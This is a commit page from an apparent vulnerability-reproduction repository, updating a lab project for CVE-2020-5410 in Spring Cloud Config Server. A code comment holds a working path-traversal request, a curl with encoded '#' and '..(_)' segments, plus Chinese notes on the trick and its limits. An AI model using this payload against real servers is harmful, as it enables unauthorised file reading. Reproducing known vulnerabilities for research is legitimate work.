Skip to content

Commit 38b7a16

Browse files
author
“threedr3am”
committed
1 parent 270522c commit 38b7a16

File tree

2 files changed

+9
-3
lines changed

2 files changed

+9
-3
lines changed

spring/spring-cloud-config-server-CVE-2020-5410/src/main/java/com/threedr3am/bug/spring/config/server/package-info.java

Lines changed: 8 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -4,8 +4,14 @@
44
*
55
* org.springframework.cloud.config.server.environment.EnvironmentController#getEnvironment(java.lang.String, java.lang.String, java.lang.String, boolean)
66
*
7-
* echo "threedr3am" > /Users/person/tmp/fakenew.txt
8-
* curl http://127.0.0.1:9988/fakenew.txt%23/bbbbb/..%28_%29..%28_%29..%28_%29..%28_%29..%28_%29..%28_%29..%28_%29Users%28_%29person%28_%29tmp%28_%29
7+
* echo "threedr3am" > /tmp/fake-news.txt
8+
* curl http://127.0.0.1:9988/fake-news.txt%23/bbbbb/..%28_%29..%28_%29..
9+
*
10+
* 利用核心:使用#去注释掉springboot自动拼接的配置文件后缀
11+
*
12+
* todo 限制:
13+
* 1. 只能穿越到上层目录,比如native目录在 /tmp/aaa/bbb,则只能穿到 /tmp/aaa 或 /tmp 或 /
14+
* 2. 文件必须存在后缀
915
*
1016
* @author threedr3am
1117
*/

spring/spring-cloud-config-server-CVE-2020-5410/src/main/resources/application.yml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,6 @@ spring:
55
config:
66
server:
77
native:
8-
search-locations: file:///tmp/{label},file:///tmp/{application},file:///tmp/{profiles}
8+
search-locations: file:///tmp/aaa/bbb{label},file:///tmp/aaa/bbb{application},file:///tmp/aaa/bbb{profiles}
99
server:
1010
port: 9988

0 commit comments

Comments
 (0)